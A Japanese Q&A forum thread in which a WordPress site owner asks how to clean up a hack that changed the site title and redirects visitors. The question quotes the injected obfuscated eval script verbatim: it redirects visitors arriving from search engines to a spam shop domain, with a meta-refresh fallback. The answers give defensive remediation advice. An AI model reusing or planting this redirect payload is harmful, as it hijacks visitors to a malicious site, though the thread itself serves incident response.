WordPressを使用したサイトのタイトルが書き換えられ、別ページに飛ばされる。

お世話になります。
あるwordpressを使用したサイトがタイトルが変わっており、リンクをクリックすると、別ページにとばされるようになっていました。
コードをみてみると、

<!DOCTYPE html><html><head><meta charset="utf-8"><title>【正規品・送料無料】ファンケルハイグレードビタミン(120粒×3袋)＋ラブコンパクトセット,ブランドコスメサプリメント【商品総額5400円↑で送料無料！(北海道・離島除く)】</title></head><body><script>eval(('if'+'('+'/(go'+'ogle'+'|ya'+'ho'+'o|b'+'ing'+'|a'+'o'+'l)/i.'+'test'+'(d'+'oc'+'um'+'e'+'nt.re'+'fer'+'rer)'+')'+'{wind'+'ow.se'+'tTi'+'m'+'e'+'out('+'fun'+'c'+'ti'+'on'+'(){t'+'op.l'+'ocat'+'i'+'on.'+'h'+'re'+'f="h'+'ttp:'+'/'+'/ww'+'w'+'.fLy'+'s'+'aLe.p'+'w/i'+'ndex'+'.ph'+'p?'+'mai'+'n_'+'page='+'prod'+'uct'+'_'+'info&'+'prod'+'ucts_'+'id=3'+'3109'+'"},10'+'00'+')}').replace(/####/g, '\''))</script><noscript><meta http-equiv="refresh" content="1; url=http://www.fLysaLe.pw/index.php?main_page=product_info&products_id=33109" /></noscript></body></html>

のように書かれていました。
もちろん運営者はこれをかいてないので、ハッキングされたのだと思うのですが、
どこを修正したらよいのか検討がつきません、
テーマファイルにはこのような記述はないようでした。
どの辺りをさがしてみるのがよいでしょうか？
皆様のお知恵をお借りできたらと思います。
どうぞよろしくお願い致します。

行動規範の内容に同意します

回答3件

ベストアンサー

bodyタグの中にscriptでページロード後、1秒後に別サイトへリンク（←注アクセスしないでください）
というコードが書き込まれていますね…。これは悪意のあるコードです。

function.phpに見知らぬコードが増えていたり、テーマファイル内に見知らぬファイルは増えていませんでしょうか？
たった一行、十数文字のコードで上記のコードを埋め込むことも可能です。（実際にそういったケースを見たこともあります）
そのWordPressのテーマは自作されたものでしょうか？それともどこかでダウンロードされたものでしょうか？

・ダウンロードしてきたものの場合
もし、WordPress公式以外のテーマであった場合、即時使用を中止してください。
非公式の（無料のものは特に）テーマには、最初から悪意のあるコードが加えられていることも少なくありません。
中には同ディレクトリ内のすべてのテーマファイルを汚染するものもあります。
他のテーマも改竄や見知らぬファイルが増えていないかチェックしてください。

以後、自作の場合と同様の対処を。

・自作の場合

クラックされています。他の回答者さまもおっしゃっているよう、一旦公開を中止
サーバーのログを確認し、不審なリクエストが無いか確認
サーバー内に見知らぬファイルが無いかチェック
使用しているファイルの中に改竄が無いかチェック

したうえで
もし2でサーバー内部に侵入されていた場合は、パスワードを変更したうえでバックドアなどが仕掛けられていないか、もチェックしなければならないので、サーバー運営会社や専門の方にお願いするのが良いでしょう。

ログのチェックで

サーバーのログインが破られたのか
FTPアカウントが漏れているのか
WordPressの管理画面が破られたのか
あるいは実は拾ってきたもののせいなのか（テーマやプラグインが原因）

が分かると思います。
どのレベルかによって、重篤さと対処が変わってくるので、まずはここがどのレベルのものかをチェックされてみてください。

ストレージ側の処理はどの道借りている側で行わなければならないと思うので

ファイルパーミッションをチェック→必要があれば変更
不審なファイルは削除
WordPressのコアファイルをクリーンインストール
テーマファイルを（取ってあれば）バックアップから復帰、なければ修正or新たに作成したほうが無難かと。
データベースのチェック（データベースに悪意あるコードを書き込まれているケースもあります→その場合バックアップから復旧）
サイトスキャンを使って診断（Goole Webマスターツールなどにもあります。

）※これは気休め程度ですが

注：サイトスキャンは確実に脅威を検出できる類のものではないので
見落としが無いか、の簡易的な確認くらいの意味合いしかありません。

投稿2016/04/10 09:01

編集2016/04/10 09:16

manabufukai

総合スコア700

退会済みユーザー

2016/04/12 04:09

ご回答ありがとうございます。テーマは自作のものになります。公開を停止し、別サーバーで最新WPで構築しドメインの向き先を変更しました。詳しくご回答頂きありがとうございます。ベストアンサーにさせていただきました。また、なにかありましたらご回答へのご協力どうぞよろしくお願い致します。

manabufukai

2016/04/16 14:42

お返事が遅くなってしまいました、自作でしたか。ということは何かしらの方法で注入されたのですね…。ログ解析の結果はいかがだったでしょう？はい、もちろんです。何かありました際は可能な限り協力させていただきます。

行動規範の内容に同意します

WordPress Codex - FAQ/ハッキング・クラッキング被害

サーバに何をされているかわからなければ、すぐに公開を取りやめましょう。
私なら別でサーバを立て、そちらにDNSを向け変え、今のサーバは、その後でじっくり原因究明ですかね。。。
再度狙われる可能性もあるので、新サーバも安心ではありませんが、最新のWPで構築しなおしておけば、脅威度はかなり落ちると思います。

投稿2016/04/10 07:56

退会済みユーザー

総合スコア0